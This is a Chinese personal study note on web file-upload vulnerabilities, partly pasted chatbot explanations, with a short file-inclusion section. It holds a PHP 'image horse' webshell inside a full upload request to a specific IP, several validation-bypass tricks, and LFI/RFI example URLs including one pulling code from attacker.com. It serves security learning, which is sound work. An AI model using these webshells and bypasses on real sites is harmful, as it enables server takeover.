小迪web自用笔记47

文件上传

 第1句话的意思就是，如果你在JPG文件中写入了后门代码，如果正常的话它是解析不了的（执行不了，你网站上发图片就给你图片解析，图片解析怎么可能解析执行PHP？）也连接不了。除非有解析漏洞（把图片格式解析成脚本格式执行）。

 

这句话的核心原理是对的，但表述可以更严谨。

 

结论：原理正确，但表述需更严谨

 

分析：

 

1. 正常情况：

JPG是图片文件，由图片解析器（如浏览器的图片渲染引擎、服务器的图片处理模块）处理；PHP是脚本文件，由PHP解释器执行。两者解析逻辑完全独立，因此正常配置的服务器不会执行JPG文件中的PHP代码，即使文件内含PHP代码，也只会被当作图片二进制数据处理（无法解析执行）。

2. 漏洞场景：

若服务器存在解析漏洞（如：

- 早期IIS的“分号截断”漏洞（ *.asp;*.jpg  被当作ASP执行）；

- Apache通过 .htaccess 错误配置（如 AddType application/x-httpd-php .jpg ，强制将JPG按PHP解析）；

- 路径解析漏洞（如 /shell.jpg/%20/../shell.php  被当作PHP执行）等），则JPG文件可能被错误识别为脚本文件，从而执行其中的PHP代码。

3. 表述优化建议：

原句中“图片解析怎么可能解析执行PHP？”的反问逻辑成立，但需补充“服务器配置错误或存在中间件漏洞时，可能突破这种隔离”，否则易让人误解“所有场景下都绝对安全”（实际漏洞场景需明确）。

 

总结：

 

从“正常解析逻辑下无法执行、漏洞场景下可执行”的核心原理看，这句话是对的；但为了严谨性，建议补充漏洞的“服务器配置/中间件缺陷”前提，否则可能忽略“解析漏洞的存在场景”这一关键条件。

 

第2个的话，攻击者看看能不能发送后门的文件到网站上（不过现在一般有过滤，比如说内容与文件后缀过滤）。

也得看它存放图片的逻辑是什么？存放在哪个地方？怎么存放的。

文件上传漏洞容易出现的原因在于它有很多方面造成问题，比如版本问题，第三方的问题等等，以及你程序的问题。

 

例子1：（后端无验证）

首先看是前端验证还是后端验证，如果是前端验证的话可以改改代码应该（前提是后端没有加验证）

首先先抓个包看看他有没有包。

 如果是前端验证的话，可以直接前端改代码，或者是在发包的时候直接给他格式。

然后直接连接。

要理解远程文件上传的原理（即后端如何通过 HTTP 请求接收文件），需从 HTTP 请求结构、Web 服务器解析、后端应用处理 三个环节拆解，结合你提供的图片场景（Burp Suite 抓包的文件上传请求）详细分析：

 

一、HTTP 请求： multipart/form-data  格式

 

文件上传的核心是 客户端通过  POST  请求，以  multipart/form-data  格式发送文件数据。这种格式的关键特点是：

 

- 使用  boundary （边界符，如图片中的  252442534324209 ）分割不同的表单字段；

- 每个文件字段包含  Content-Disposition （指定表单名  name  和文件名  filename ）、 Content-Type （文件 MIME 类型），以及文件的二进制内容。

 

以你提供的请求为例：

 

http

POST / HTTP/1.1

Host: 47.94.236.117:30001

Content-Type: multipart/form-data; boundary=252442534324209

 

--252442534324209

Content-Disposition: form-data; name="file"; filename="1.php"

Content-Type: image/jpeg

 

GIF89a<?php eval($_POST['pass']);?>

--252442534324209

Content-Disposition: form-data; name="submit"

 

Upload

--252442534324209--

 

 

-  name="file" ：表单中用于上传文件的字段名；

-  filename="1.php" ：客户端选择的文件名（攻击者可能伪造文件名来绕过验证）；

-  Content-Type: image/jpeg ：客户端声明的文件类型（攻击者可能伪造 MIME 类型）；

- 文件内容： GIF89a<?php eval($_POST['pass']);?> （这是典型的“图片马”——表面是 GIF 图片，实际包含 PHP 后门代码）。

 

二、Web 服务器：解析请求并保存临时文件

 

当 Web 服务器（如 Apache、Nginx）接收到  multipart/form-data  的请求时，会执行以下操作：

 

1. 解析  boundary ：根据  Content-Type  中的  boundary  分割请求体，识别每个表单字段。

2. 提取文件数据：对于文件字段（ name="file" ），服务器会读取  filename 、 Content-Type  和二进制内容。

3. 保存临时文件：将文件内容写入服务器的临时目录（如 PHP 的  /tmp  目录），并生成一个临时文件名（如  phpXXXXXX ）。

 

此时，服务器仅完成“文件数据的接收与临时存储”，尚未交给后端应用处理。

 

三、后端应用：处理上传文件（以 PHP 为例）

 

后端应用（如 PHP 脚本）通过编程语言提供的 文件上传接口 获取并处理文件。以 PHP 为例，核心逻辑是：

 

1. 读取上传信息

 

PHP 通过  $_FILES  超全局数组 存储上传文件的元信息，结构如下：

 

php

$_FILES['file'] = [

    'name' => '1.php', // 客户端原始文件名

    'type' => 'image/jpeg', // 客户端声明的 MIME 类型

    'tmp_name' => '/tmp/phpXXXXXX', // 服务器临时文件路径

    'error' => 0, // 错误码（0 表示成功）

    'size' => 27 // 文件大小（字节）

];

 

 

2. 移动/处理文件

 

后端脚本通常会调用  move_uploaded_file()  将临时文件移动到目标目录（如  upload/1.php ），完成上传：

 

php

$target_path = 'upload/' . $_FILES['file']['name'];

move_uploaded_file($_FILES['file']['tmp_name'], $target_path);

 

 

3. 安全风险（图片场景的关键）

 

如果后端未对文件进行严格验证（如：

 

- 仅校验  Content-Type  或文件名，未检查文件真实内容；

- 允许上传到可执行目录，且服务器存在文件解析漏洞——如将  1.php  当作 PHP 执行，即使它伪装成图片），攻击者就能上传恶意脚本（如图片中的  GIF89a<?php eval($_POST['pass']);?> ），并通过访问该文件触发代码执行。

 

四、总结：远程文件上传的完整流程

 

1. 客户端封装请求：将文件以  multipart/form-data  格式打包，通过 POST 请求发送。

2. 服务器解析存储：Web 服务器解析请求体，提取文件数据并保存为临时文件。

3. 后端应用处理：后端脚本通过  $_FILES  读取文件信息，移动临时文件到目标路径。

4. 漏洞利用：若后端验证不足或服务器存在解析漏洞，攻击者可上传恶意文件（如“图片马”）并执行代码。

是的，只修改文件扩展名不会改变文件的二进制内容。

 

核心原因：

 

文件扩展名（如  .jpg 、 .php ）本质上是文件名的一部分，用于告诉操作系统“应该用什么程序打开这个文件”。它并不存储在文件的二进制数据区，因此修改扩展名不会影响文件的实际内容。

 

举个例子：

 

假设你有一个图片文件  image.jpg ，它的二进制内容以  FF D8 FF E0 （JPEG 文件头）开头。

如果你将它重命名为  image.php ，文件的二进制内容 不会有任何变化，开头仍然是  FF D8 FF E0 。

 

为什么服务器可能仍会执行它？

 

这取决于服务器的配置：

 

1. 只检查扩展名：如果服务器只验证扩展名（比如允许  .php ），而不检查文件内容，那么它会把这个文件当作 PHP 脚本执行。

2. 解析漏洞：某些服务器（如早期的 IIS、配置错误的 Apache）存在解析漏洞，会错误地将  .php  扩展名的文件当作 PHP 执行，即使文件内容是图片数据。

3. 文件签名验证：安全的服务器会检查文件的二进制签名（如 JPEG 的  FF D8 ），而不是仅依赖扩展名。

 

总结：

 

- 扩展名只是“标签”，不影响二进制内容。

- 风险在于服务器如何处理这些文件，尤其是存在解析漏洞时。

 

如果你愿意，我可以帮你做一个文件扩展名修改前后的二进制对比图，直观展示扩展名变化但二进制内容不变的现象。这样你能一眼看清区别。你要我做吗？

例子2：（中间件问题）：

 所以它是分两步，第1次上传一个一句话木马JPG文件，第2次就上传一个修改JPG为PHP文件的漏洞（第3方利用）

 

例子3（通过类型判定文件，我可以在数据包中篡改类型） 

验证得从多方面验证，而不能只通过类型判定。

 例子4（文件头）：

用十六进制编译器打开查看不同的文件头

 PNG

 GIF

他的头部是固定的，因此可以伪造文件头

 为什么可以直接通过这种方式伪造文件头↓

 例子5（黑名单）

 *我感觉白名单更好点，因为黑名单太广了，可以绕过很多。

 黑名单无递归逻辑问题

这个代码逻辑是有问题的，如果检测到了后面的后缀就直接把这个后缀过滤为空（但是只搞一次），过滤之后后面还是可以直接上传。

这就尴尬了，可以直接写两个PHP，你过滤一个我还有一个。

而且不仅没递归还没有大小写，STRIREPLACE，直接给你固定死你里面写的是什么它就怎么过滤（后缀如果是Php就识别不了了，不过得是windows系统，Linux系统分大小写区分全是大写或全是小写才是这个格式，不然直接不认你这个格式。）

例子6（）：

上传之后发个包信息收集，这个路径是保存文件名的地方。 

 

 截断↑

通过文件命名与文件路径进行修改，让他报错的结果进行更改。

如果添加截断符的话，就相当于SQL中的注释掉了一样，他就只能看你前面的格式了，后面的132023060313064一点JPG就相当于没有保存过了。

让服务器只解析节段服务前面的文件，这玩意儿类似于路径拼接。

但这玩意儿有两个限制，一个是魔术开关，另一个是版本问题。

例子7：

如果是在下面不是在URL中的话，就得有个解码过程，不可以直接就截断起手。

这个是和浏览器解析有关系，如果在URL中，我写个空格它就会自动给你解析成给你变成%201，

上面浏览器会自动给你解码。

下面你得手动解码一次。

 

例子8（黑名单过滤不严）：

有些文件他只进了php但没进PHP5，然后你就可以改PHP5。

在b r up中可以改后缀爆破。

 

例子9（条件竞争）：

 先接收然后上传后面再处理。

 你一旦访问，我就新建一个文件。

我不断的去访问，只要有一次成功，我就可以新建一个新的后门。

例子10（二次渲染）：

 你网站上原本的图片与你从网站上下载的图片不同，少了很多内容。

 

然后你要把这个代码放在保留的这个部分来

这是文件包含

 文件包含（File Inclusion）是服务器端脚本语言（如 PHP、JSP）的一种功能，也是常见的 Web 漏洞类型，核心是服务器通过用户可控的输入加载并执行指定文件，若输入未过滤则会导致恶意文件被加载执行。

 

一、文件包含的两种核心类型

 

根据加载文件的来源，分为本地文件包含（LFI） 和远程文件包含（RFI），两者原理一致，仅文件位置不同。

 

1. 本地文件包含（LFI）

 

- 定义：加载服务器本地已存在的文件（如配置文件、日志文件、用户上传的文件）。

- 原理示例（以 PHP 为例）：

若服务器代码未过滤用户输入的  file  参数，直接用  include  函数加载文件：

php

<?php include $_GET['file']; // 直接包含用户传入的文件路径 ?>

 

 

攻击者可构造 URL： http://xxx.com/index.php?file=../../etc/passwd （Linux 系统），让服务器加载本地敏感文件  /etc/passwd （存储用户账号信息）。

 

2. 远程文件包含（RFI）

 

- 定义：加载远程服务器上的文件（如攻击者搭建的恶意脚本），需服务器开启远程包含功能（如 PHP 的  allow_url_include=On ）。

- 原理示例：

攻击者在自己的服务器上放置恶意脚本  malicious.php （含一句话木马），然后构造 URL：

 http://xxx.com/index.php?file=http://attacker.com/malicious.php 

服务器会远程加载并执行  malicious.php ，攻击者即可控制目标服务器。

 

二、漏洞产生的根本原因

 

服务器端代码存在用户输入未过滤的问题：

 

1. 直接将用户输入的路径（如  ../../ 、远程 URL）拼接进  include / require  等文件包含函数；

2. 未限制可包含的文件类型（如允许包含  .php  等可执行脚本）；

3. 未禁用危险功能（如 PHP 未关闭  allow_url_include ）。

 

三、常见利用场景（结合你之前关注的文件上传）

 

文件包含常与文件上传漏洞结合，形成完整攻击链：

 

1. 攻击者通过文件上传漏洞，将含 PHP 木马的“图片马”（如  shell.png ）上传到目标服务器；

2. 利用 LFI 漏洞，构造 URL 包含该上传文件： http://xxx.com/index.php?file=./upload/shell.png ；

3. 若服务器存在文件解析漏洞（如之前讨论的  .htaccess  配置）， shell.png  会被当作 PHP 执行，攻击者通过蚁剑连接控制服务器。

 

四、漏洞危害

 

- 读取敏感文件：如数据库配置文件（ config.php ）、服务器日志、系统密码文件；

- 执行恶意代码：加载含后门的脚本，获取服务器权限（如读写文件、执行系统命令）；

- 服务器被控：最终可能导致服务器沦为“肉鸡”，被用于挖矿、发起攻击等。

 

五、防御措施

 

1. 过滤危险输入：拦截  ../ （路径穿越字符）、 http:// / https:// （远程 URL 前缀）等；

2. 使用白名单：仅允许包含指定目录下的文件（如  include './safe_dir/' . $_GET['file']; ），禁止跨目录包含；

3. 禁用危险功能：关闭远程包含（PHP 设  allow_url_include=Off ），限制  include  函数可加载的文件类型；

4. 文件重命名：上传文件时随机重命名（如用哈希值命名），避免攻击者猜到文件路径。

 

总结

 

文件包含的核心是“可控输入导致恶意文件被加载执行”，与文件上传、解析漏洞结合时危害极大。防御的关键是严格过滤用户输入、限制文件包含范围、禁用危险功能。

 

*简单来说，文件包含就是执行那个路径所指的文件的功能。

文件包含可以执行用户上传路径文件里面的东西，就算是JPG格式也可以php执行

例子11

函数缺陷

改成这个文件名就会当成PHP执行。保存的文件名由你来指定，就是服务器不会给你重命名的话。

它自动把点去掉了

 不过现在一般是端口里面文件上传的多。